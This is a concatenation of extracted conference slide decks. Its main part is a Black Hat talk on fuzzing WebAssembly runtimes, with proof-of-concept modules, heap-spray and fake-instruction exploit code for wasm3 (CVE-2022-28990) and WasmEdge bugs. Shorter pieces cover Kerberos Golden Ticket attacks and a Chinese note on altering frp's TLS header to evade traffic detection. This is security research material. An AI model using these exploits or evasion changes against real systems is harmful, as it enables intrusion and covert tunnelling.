Nadel, Building Security, New York, NY: McGraw Hill, 2004 [7] B. Graydon, OSINT of Facilities by Physical Reconnaissance: HOPE 2020, July 25-August 2, 2020, New York, NY, USA. Available: https://www.youtube.com/watch?v=BgovHNKh_fU [8] K. Ng, Bypass 101: DEF CON Safe Mode - Lock Bypass Village, August 6-9, 2020, Las Vegas, NV, USA. Available: https://www.youtube.com/watch?v=3yKZqiYGYnA [9] B. Phillips, The Complete Book of Locks and Locksmithing, 7th ed., New York: McGraw-Hill Professional, 2017. Questions? [email protected] @access_ctrl Go try it! https://www.bypassvillage.org/games/ alarm_wire/ Or just: bypassvillage.org Source: https://github.com/bgraydon/alarm_wire A huge thank you to Paul Robichaud, Karen Ng and Jenny & Bobby Graydon for their help in preparing this talk.
pdf
Is WebAssembly Really Safe? - Wasm VM Escape and RCE Vulnerabilities Have Been Found in New Way Zhao Hai(@h1zhao) #BHUSA  @BlackHatEvents #BHUSA   @BlackHatEvents Information Classification: General About US TianYu Lab of Cyberpeace Tech Co., Ltd. 天虞实验室 TianYu Lab Lei Li Supervisor Mengchen Yu Manager Zhichen Wang Researcher Hai Zhao Researcher #BHUSA   @BlackHatEvents Information Classification: General Agenda • WebAssembly Runtime Introduction • WebAssembly Fuzz Tools Develop • Vulnerabilities Analyse And Exploit Develop • Conclusion #BHUSA   @BlackHatEvents Information Classification: General What we focus? - WebAssembly Runtime Previous Researches focus on We are interested in #BHUSA   @BlackHatEvents Information Classification: General WebAssembly Runtime Architecture The stack is divided into two parts. Bounds Check BOF? sorry WASI is a system interface. Similar to syscall in c Docker? #BHUSA   @BlackHatEvents Information Classification: General WebAssembly Runtime Vulnerability Bounds Check I would say WASM standard is really safe, but not its runtime. Maybe vulnerable #BHUSA   @BlackHatEvents Information Classification: General WASM Fuzz Develop • Focus on WASM file structure、WASI API、bytecode implemention in runtime. • Coverage guide fuzzing. Wasm generator use AFL/libfuzzer’s output samples as input data, mapping them to wasm files Coverage guide samples do I am coverage guided? #BHUSA   @BlackHatEvents Information Classification: General WASM Generator / Structure • Follow wasm format, we develop the wasm generator. • Core idea is to make the Non randomizable fields fixed or calculated, otherwise use the data read from the fuzzer’s samples. Fixed magic and version Fixed range(0~16) Section ID Calculated Section Len randomizable field …… #BHUSA   @BlackHatEvents Information Classification: General WASM Generator / Structure Our generator use C++ objects to handle every types of section, every fields of section, this is easy to implement. class Section { public: virtual SectionId id() = 0; virtual void generate(Context *context); virtual void getEncode(DataOutputStream *out); }; The function generate is used to generate data, and getEncode is used to encode the data into the corresponding format. #BHUSA   @BlackHatEvents Information Classification: General WASM Generator / Structure • For randomizable fields in the structure, we design a strategic data generator. We make the boundary value have higher frequency. 0xffffffff(int)、 NAN(float/double)、…… This is not a random number, it’s read from the fuzzer’s output samples. #BHUSA   @BlackHatEvents Information Classification: General WASM Generator / ByteCode • To Fuzz the wasm runtime’s bytecode implemention, We need generate bytecode in the wasm file. ByteCode sequences Our generator use C++ objects to handle every bytecode, randomize or fix its operands with context. class Instruction { public: virtual void generate(Context *context) = 0; virtual void getByteCode(DataOutputStream *code) = 0; }; #BHUSA   @BlackHatEvents Information Classification: General WASM Generator / ByteCode • For example, When we generate the bytecode “Call”, We should avoid call recursion, because we can’t generate condition correctly. Use dfs algorithm to check loop Add current function index to graph void Instruction::Call::generate(Context *context) { f.generate(context); while (context->check_loop(from_where, f.value)) { f.value++; } context->add_cfg(from_where, f.value); } #BHUSA   @BlackHatEvents Information Classification: General • To Fuzz the wasi api, We need import the wasi api strings on Import Section. map<string, string> imports_function; vector<string> imports_function_name; #define ADD_IMPORT_FUNC(name, module) imports_function[name] = module; \ imports_function_name.push_back(name); void initImportsFunction() { ADD_IMPORT_FUNC("args_get","wasi_snapshot_preview1") ADD_IMPORT_FUNC("args_sizes_get","wasi_snapshot_preview1") ...... } void Sections::ImportType::generate(Context *context) { ......// WASI Imports { string &n = CHOICE_VEC(imports_function_name); name = strdup(n.c_str()); name_len = strlen(name); module = strdup(imports_function[n].c_str()); module_len = strlen(module); } ...... } Easy to implement in our object model. WASM Generator / WASI #BHUSA   @BlackHatEvents Information Classification: General Embedding in libfuzzer for fuzzing. WASM Generator / WASI #BHUSA   @BlackHatEvents Information Classification: General Vulnerability – CVE-2022-28990 Heap Overflow in WASI read/write API in wasm3 m3ApiRawFunction(m3wasigenericfdread) {     m3ApiReturnType  (uint32t)     m3ApiGetArg      (uvwasifdt          , fd)     m3ApiGetArgMem   (wasiiovect        , wasiiovs)     m3ApiGetArg      (uvwasisizet        , iovslen)     m3ApiGetArgMem   (uvwasisizet       , nread)     m3ApiCheckMem(wasiiovs,    iovslen  sizeof(wasiiovect));     m3ApiCheckMem(nread,        sizeof(uvwasisizet)); ......     uvwasisizet numread;     uvwasierrnot ret;     for (uvwasisizet i = 0; i < iovslen; ++i) {         iovs[i].buf = m3ApiOffsetToPtr(m3ApiReadMem32(&wasiiovs[i].buf));         iovs[i].buflen = m3ApiReadMem32(&wasiiovs[i].buflen);         //fprintf(stderr, "> fdread fd:%d iov%d.len:%dn", fd, i, iovs[i].buflen);     }     ret = uvwasifdread(&uvwasi, fd, (const uvwasiiovect ) iovs, iovslen, &numread); ...... } Bounds not check! #BHUSA   @BlackHatEvents Information Classification: General POC – CVE-2022-28990 (module   (type (;0;) (func))   (type (;1;) (func (param i32 i32 i32 i32) (result i32)))   (import "wasi_snapshot_preview1" "fd_write" (func $__fd_write (type 1)))   (func $_start (type 0)      i32.const 0      i32.const 0x10000      i32.store      i32.const 0x4      i32.const 0xffff      i32.store      i32.const 0x100      i32.const 0      i32.store      i32.const 0x1      i32.const 0x0      i32.const 0x1      i32.const 0x100      call $__fd_write      drop   )   (memory (;0;) 0x2)   (export "_start" (func $_start)) ) fd wasiiovs offset iovslen nread offset buf offset buf len It’s easy to get OOB read / write by using fd_read / fd_write. #BHUSA   @BlackHatEvents Information Classification: General wasm3 uses a _PC stack and _SP stack, where the _PC stack stores a series of runtime functions and parameters corresponding to opcode. The parameter in the _PC stack uses slot index, which represents the parameter read from the subscript in _SP. Heap spray, make the wasm3’s memory object in front of _pc stack and then overflow it. EXP – CVE-2022-28990 #BHUSA   @BlackHatEvents Information Classification: General d_m3Op  (opcode_xx) {     //do something     ......     nextOp (); } • Every opcode handle has a jmp code to next opcode handle. • We can use JOP (Jump-Oriented Programming) to control the VM’s execution flow. Use GetGlobal_i64/SetGlobal_i64 opcode handle to get arbitrary address read / write d_m3Op  (SetGlobal_i64) {     u64 * global = immediate (u64 *);     * global = (u64) _r0;      nextOp (); } Immediate argument is in _pc stack, we can control it! EXP – CVE-2022-28990 #BHUSA   @BlackHatEvents Information Classification: General EXP – CVE-2022-28990 – On Android • When wasm3 on Android, the memory object always in behind of _pc stack because of scudo allocator. So we should make some heap spray to get desired layout. heap spray How to spray memory and _pc stack? #BHUSA   @BlackHatEvents Information Classification: General • We found that wasm3 has more than one _pc stack. When reaches end of _pc stack0, vm control flow would jump to next page of _pc stack. Look at the compiler of opcode “br_table” static M3Result  Compile_BranchTable  (IM3Compilation o, m3 opcode_t i_opcode) { ......     for (u32 i = 0; i < targetCount; ++i)     {  ...... _       (AcquireCompilationCodePage (o, & continueOpPage));         pc_t startPC = GetPagePC (continueOpPage);         IM3CodePage savedPage = o->page;         o->page = continueOpPage;   ...... _       (EmitOp (o, op_ContinueLoop));          EmitPointer (o, scope->pc);   ...... } construct a table When current _pc stack is fulfilled, it would allocate a new page of _pc stack. Just use this for spray more _pc stack and get the desired heap layout. br_table 0 (;@0;)0 (;@0;)0 (;@0;)0 (;@0;)...... 0 (;@0;) EXP – CVE-2022-28990 – On Android #BHUSA   @BlackHatEvents Information Classification: General • Get arbitrary address read / write and then RCE it. fake some instructions such as global.get/global.set in _pc stack to get arbitrary address read / write and then exploit it! EXP – CVE-2022-28990 – On Android #BHUSA   @BlackHatEvents Information Classification: General Vulnerability – Slot missing in bytecode No emit slot if value is in register static M3Result  Compile_Memory_CopyFill  (IM3Compilation o, m3 opcode_t i_opcode) { ...... _   (EmitOp  (o, op)); _   (PopType (o, c_m3Type_i32)); _   (EmitSlotNumOfStackTopAndPop (o)); _   (EmitSlotNumOfStackTopAndPop (o)); ...... } d_m3Op  (MemFill) {     u32 size = (u32) _r0;     u32 byte = slot (u32);     u64 destination = slot (u32); …… } static inline M3Result  EmitSlotNumOfStackTopAndPop  (IM3Compilation o) {     // no emit if value is in register     if (IsStackTopInSlot (o))         EmitSlotOffset (o, GetStackTopSlotNumber (o));     return Pop (o); } Need two slot But #BHUSA   @BlackHatEvents Information Classification: General d_m3Op  (MemFill) {     u32 size = (u32) _r0;     u32 byte = slot (u32);     u64 destination = slot (u32); …… } No emit because value is in register args3 (destination) 's slot is missing, using next value as slot index Ov erflow Vulnerability – Slot missing in bytecode #BHUSA   @BlackHatEvents Information Classification: General d_m3Op  (MemFill) {     u32 size = (u32) _r0;     u32 byte = slot (u32);     u64 destination = slot (u32); …… } The slot value can’t control arbitrary, so it will result in segmentation fault, unexploitable. Vulnerability – Slot missing in bytecode #BHUSA   @BlackHatEvents Information Classification: General WasmEdge – Architecture Let’s see the vm architecture of WasmEdge Differ from wasm3, it use "while-switch" to dispatch opcode #BHUSA   @BlackHatEvents Information Classification: General WasmEdge – Br Opcode Analyse Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,                                Runtime::StackManager &StackMgr,                                const AST::InstrView::iterator Start,                                const AST::InstrView::iterator End) {   AST::InstrView::iterator PC = Start;   AST::InstrView::iterator PCEnd = End;   auto Dispatch = [this, &PC, &StoreMgr, &StackMgr]() -> Expect<void> {     const AST::Instruction &Instr = *PC;     switch (Instr.getOpCode()) {     ......     case OpCode::Br:       return runBrOp(StackMgr, Instr, PC);    ......  };   while (PC != PCEnd) {     OpCode Code = PC->getOpCode();     ......     if (auto Res = Dispatch(); !Res) {       return Unexpect(Res);     }     PC++;   } ...... Let’s see the opcode "br" Expect<void> Executor::runBrOp(Runtime::StackManager &StackMgr,                                const AST::Instruction &Instr,                                AST::InstrView::iterator &PC) noexcept {   return branchToLabel(StackMgr, Instr.getJump().StackEraseBegin,                        Instr.getJump().StackEraseEnd, Instr.getJump().PCOffset,                        PC); } #BHUSA   @BlackHatEvents Information Classification: General Expect<void> Executor::branchToLabel(Runtime::StackManager &StackMgr,                                      uint32_t EraseBegin, uint32_t EraseEnd,                                      int32_t PCOffset,                                      AST::InstrView::iterator &PC) noexcept {   // Check stop token   if (unlikely(StopToken.exchange(0, std::memory_order_relaxed))) {     spdlog::error(ErrCode::Interrupted);     return Unexpect(ErrCode::Interrupted);   }   StackMgr.stackErase(EraseBegin, EraseEnd);   PC += PCOffset;   return {}; } PCOffset = Instr.getJump().PCOffset  What the Value is? Expect<void> FormChecker::checkInstr(const AST::Instruction &Instr) { ......  switch (Instr.getOpCode()) { ......   case OpCode::Br:     if (auto D = checkCtrlStackDepth(Instr.getTargetIndex()); !D) {       return Unexpect(D);     } else {       // D is the last D element of control stack.       ......       auto &Jump = const_cast<AST::Instruction &>(Instr).getJump();       ......       Jump.PCOffset = static_cast<int32_t>(CtrlStack[*D].Jump - &Instr);       return unreachable();     } ...... Here calculate the Jump.PCOffset  WasmEdge – Br Opcode Analyse #BHUSA   @BlackHatEvents Information Classification: General Vulnerability – Off by One in Br Opcode Expect<void> Executor::branchToLabel(Runtime::StackManager &StackMgr,                                      uint32_t EraseBegin, uint32_t EraseEnd,                                      int32_t PCOffset,                                      AST::InstrView::iterator &PC) noexcept {   // Check stop token   if (unlikely(StopToken.exchange(0, std::memory_order_relaxed))) {     spdlog::error(ErrCode::Interrupted);     return Unexpect(ErrCode::Interrupted);   }   StackMgr.stackErase(EraseBegin, EraseEnd);   PC += PCOffset;   return {}; } (module   (type (;0;) (func))   (func (;0;) (type 0)     call 1   )   (func (;1;) (type 0)      br 0   )   (export "_start" (func 0)) ) PCOffset = 1 Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,    ......     case OpCode::Br:       return runBrOp(StackMgr, Instr, PC);    ......   while (PC != PCEnd) {     OpCode Code = PC->getOpCode();     ......     if (auto Res = Dispatch(); !Res) {       return Unexpect(Res);     }     PC++;   } ...... PC += 1 PC += 1 Off By One? #BHUSA   @BlackHatEvents Information Classification: General (module   (type (;0;) (func))   (func (;0;) (type 0)     call 1   )   (func (;1;) (type 0)      br 0   )   (export "_start" (func 0)) ) Expect<void> Executor::branchToLabel(Runtime::StackManager &StackMgr, ......   PC += PCOffset;   return {}; } PC+1 Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr,    ......     case OpCode::Br:       return runBrOp(StackMgr, Instr, PC);    ......   while (PC != PCEnd) {     OpCode Code = PC->getOpCode();     ......     if (auto Res = Dispatch(); !Res) {       return Unexpect(Res);     }     PC++;   } ...... PC++ Off By One Vulnerability – Off by One in Br Opcode #BHUSA   @BlackHatEvents Information Classification: General EXP – Off by One in Br Opcode How to control its content? Use i64.const opcode to do heap spray (module   (type (;0;) (func))   (global (;0;) i64 (i64.const 0x61626364))   (func $_a(;1;) (type 0)      i64.const 0x11111111      i64.const 0x111111111      i64.const 0x211111111      i64.const 0x311111111      ......      i64.const 0xn11111111      nop      call $_b      drop      drop      drop      drop      ......      drop   )   (func $_b(;2;) (type 0)      br 0   )   (func $_start(;0;) (type 0)     ......     call $_a     ......   )   (export "_start" (func $_start))   (memory (;0;) 1) ) balance stack #BHUSA   @BlackHatEvents Information Classification: General In file: /home/sea/Desktop/WasmEdge/lib/executor/helper.cpp    187     spdlog::error(ErrCode::Interrupted);    188     return Unexpect(ErrCode::Interrupted);    189   }    190     191   StackMgr.stackErase(EraseBegin, EraseEnd);  ► 192   PC += PCOffset;    193   return {};    194 }    195     196 Runtime::Instance::TableInstance *    197 Executor::getTabInstByIdx(Runtime::StackManager &StackMgr, pwndbg> x /20gx PC 0x7f6f00001d90: 0x0000000000000000 0x0000000100000000 0x7f6f00001da0: 0x0000000c000001b6 0x0000000000000000 0x7f6f00001db0: 0x0000000000000001 0x0000000000000000 0x7f6f00001dc0: 0x0000000b000001b8 0x0000000000000000 0x7f6f00001dd0: 0x0000004200000154 0x0000000000000000 0x7f6f00001de0: 0x0000002a11111111 0x0000000000000000 0x7f6f00001df0: 0x000000420000015b 0x0000000000000075 0x7f6f00001e00: 0x00005645ef63fdd8 0x00007f6f00001280 0x7f6f00001e10: 0x0000004200000046 0x00007f6f00001b10 0x7f6f00001e20: 0x0000000000000000 0x0000000000000000 Br End Fake Instruction Object Sprayed i64.const value We can fake an arbitrary opcode, but operand can’t be controlled. EXP – Off by One in Br Opcode #BHUSA   @BlackHatEvents Information Classification: General struct Instruction {       uint32_t JumpEnd;       uint32_t JumpElse;       BlockType ResType;       uint32_t Offset = 0;       OpCode Code;       struct {          bool IsAllocLabelList : 1;          bool IsAllocValTypeList : 1;       } Flags; }; In file: /home/sea/Desktop/WasmEdge/lib/executor/helper.cpp    187     spdlog::error(ErrCode::Interrupted);    188     return Unexpect(ErrCode::Interrupted);    189   }    190     191   StackMgr.stackErase(EraseBegin, EraseEnd);  ► 192   PC += PCOffset;    193   return {};    194 }    195     196 Runtime::Instance::TableInstance *    197 Executor::getTabInstByIdx(Runtime::StackManager &StackMg r, pwndbg> x /40wx PC 0x7f6f00001d90: 0x00000000 0x00000000 0x00000000 0x00000001 0x7f6f00001da0: 0x000001b6 0x0000000c 0x00000000 0x00000000 0x7f6f00001db0: 0x00000001 0x00000000 0x00000000 0x00000000 0x7f6f00001dc0: 0x000001b8 0x0000000b 0x00000000 0x00000000 0x7f6f00001dd0: 0x00000154 0x00000042 0x00000000 0x00000000 0x7f6f00001de0: 0x11111111 0x0000002a 0x00000000 0x0000000 Try to find some opcodes who use the JumpEnd EXP – Off by One in Br Opcode #BHUSA   @BlackHatEvents Information Classification: General Expect<void> Executor::execute(Runtime::StoreManager &StoreMgr, ......     case OpCode::Else: ......       PC += PC->getJumpEnd();       [[fallthrough]];     case OpCode::End:       PC = StackMgr.maybePopFrame(PC);       return {}; ...... We found that Else opcode uses JumpEnd, and the PC value will be changed. (module   (type (;0;) (func))   (global (;0;) i64 (i64.const 0x61626364))   (func $_a(;1;) (type 0)      i64.const 0x11111111      ......      i64.const 0x291111111      i64.const 0x500000000      ......      i64.const 0xn11111111      nop      call $_b      drop      drop      drop      drop      ......      drop   )   (func $_b(;2;) (type 0)      br 0   )   (func $_start(;0;) (type 0)     ......     call $_a     ......   )   (export "_start" (func $_start))   (memory (;0;) 1) ) EXP – Off by One in Br Opcode #BHUSA   @BlackHatEvents Information Classification: General (module   (type (;0;) (func))   (global (;0;) i64 (i64.const 0x61626364))   (func $_a(;1;) (type 0)      ......      call $_b      ......   )   (func $_b(;2;) (type 0)      br 0   )   (func $_start(;0;) (type 0)         nop         v128.const i64x2 0xffffffff 0xffffffff         nop         v128.const i64x2 0x1ffffffff 0x1ffffffff         ......         nop         v128.const i64x2 0xnffffffff 0xnffffffff         call $_a         drop         drop         ......         drop         ......   )   (export "_start" (func $_start))   (memory (;0;) 1) ) WasmEdge sp stack is 16 bytes as a unit We can use v128.const i64x2  to spray sp stack Now, you can run any instructions you faked! EXP – Off by One in Br Opcode #BHUSA   @BlackHatEvents Information Classification: General def Global_Get(index):    global i    i += 2    code = 'nop\n'    code += 'v128.const i64x2 %d 0\n' % (index)    code += 'nop\n'    code += 'v128.const i64x2 0x2300000000 0\n'    return code def Global_Set(index):    global i    i += 2    code = 'nop\n'    code += 'v128.const i64x2 %d 0\n' % (index)    code += 'nop\n'    code += 'v128.const i64x2 0x2400000000 0\n'    return code def i32_const(value):    global i    i += 2    code = 'nop\n'    code += 'v128.const i64x2 %d 0\n' % (value)    code += 'nop\n'    code += 'v128.const i64x2 0x4100000000 0\n'    return code ...... Fake Global_Get and Global_Set instruction, we can get arbitrary address read / write. Construct any opcode you need, and exploit it! EXP – Off by One in Br Opcode #BHUSA   @BlackHatEvents Information Classification: General EXP – Off by One in Br Opcode #BHUSA   @BlackHatEvents Information Classification: General Conclusion • structured fuzzing inspired by FREEDOM: Engineering a State-of-the-Art DOM Fuzzer (ACM CSS 2020) • control pc_stack • i32.const、i64.const、v128.const • GlobalGet & GloblaSet #BHUSA   @BlackHatEvents Information Classification: General Q & A @h1zhao #BHUSA   @BlackHatEvents Information Classification: General Q1: can we fuzz wasm in v8 and other js engines? #BHUSA   @BlackHatEvents Information Classification: General Thanks 天虞实验室 TianYu Lab Thank You! https://github.com/ha1vk/blackhat_wasm
pdf
Bio SecurityResearcher/Tester(HarrisCorp) FormerArmyRedTeamOperator OneofthedevelopersofPowerSploit Twitter:@obscuresec Blog:www.obscuresec.com Sayhellotokrbtgt He’sbeenheresincethebeginning TheEarlyYears:20012004 GrowingPains:20052008 MaturityRealized:20092012 MemeCount:1 SkeletonsintheCloset:20132014 MemeCount:2 http://blog.gentilkiwi.com/securite/mimikatz/goldenticketkerberos Howoldisyourkrbtgt hash? Knowwhereyourkrbtgt hashis? Thepointis… Ifyourenterprisehaseverbeen compromised,itmaystillbecompromised– evenifyouchangedeverypassword. Wescansowearesecure Goodluckwiththat MemeCount:3 “SpoofedPAC”Attack “GoldenTicket”Attack https://twitter.com/gentilkiwi/status/415147415474167808 DemoTime Mitigation Don’tgetownedagain UseRODCwhereappropriate Upgradefunctionallevel Resetthekrbtgt accountpasswordonthe PDCemulatorTWICE Detection Needleinahaystack HardertodetectthanPtH Lookforstrangeaccountactivity Lowprivilegedaccountperformingprivileged actions Thanks SkipDuckwall BenjaminDelpy JoeBialek WillPeteroy CarlosSpicyweiner MattGraeber Manyothers… Questions?
pdf
1 frp改造S-流量特征 使⽤tls_enable加密后,⾸次连接会⼀个0x17的头部。 pkg/util/net/tls.go,frp⾃实现tls,所以存在很强的特征 特征1 2 这个0x17只有再发起连接时会有,后续均为tls加密传输,所以我们需要修改此处就够了 第⼀步:修改byte内容,然后新增⼀个以该byte开头,后续内容随机的字节切⽚。 pkg/util/net/tls.go Go 复制代码 var ( FRPTLSHeadByte = byte(0x91) FRPTLSHeadBytes =  bytes.Join([][]byte{[]byte{FRPTLSHeadByte}, random.RandBytes(10)}, []byte{}) ) 1 2 3 4 3 第⼆步: 然后就是调⽤位置的调整,要注意下⾯buf虽然是设定成FRPTLSHeadBytes⻓度,但判断⽐ 较的时候只判断第⼀个字节,因为后⾯的每次运⾏都是随机⽣成的,服务端和客户端是不⼀样的。 所以这⾥的判断依据就是:⻓度⼀致,⾸字节⼀致则表示tls接收⽆问题。 4 server/service.go Go 复制代码 func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) { // lz5205201 c.Write(FRPTLSHeadBytes) // lz5205202 out = tls.Client(c, tlsConfig) return } func CheckAndEnableTLSServerConnWithTimeout(c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration) (out net.Conn, err error) { // lz5205201 headLen := len(FRPTLSHeadBytes) sc, r := gnet.NewSharedConnSize(c, 1 + headLen) buf := make([]byte, headLen) var n int c.SetReadDeadline(time.Now().Add(timeout)) n, err = r.Read(buf) c.SetReadDeadline(time.Time{}) if err != nil { return } if n == headLen && buf[0] == FRPTLSHeadBytes[0] { // lz5205202 out = tls.Server(c, tlsConfig) } else { if tlsOnly { err = fmt.Errorf("non-TLS connection received on a TlsOnly server") return } out = sc } return } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 5 数据包如下,前11字节就表示使⽤tls。 Go 复制代码 svr.tlsListener = svr.muxer.Listen(1, uint32(len(tNet.FRPTLSHeadBytes)), func(data []byte) bool { return data[0] == tNet.FRPTLSHeadBytes[0] }) 1 2 3 6 https://www.anquanke.com/post/id/231685 PS: 新版本frp已经优化该特征
pdf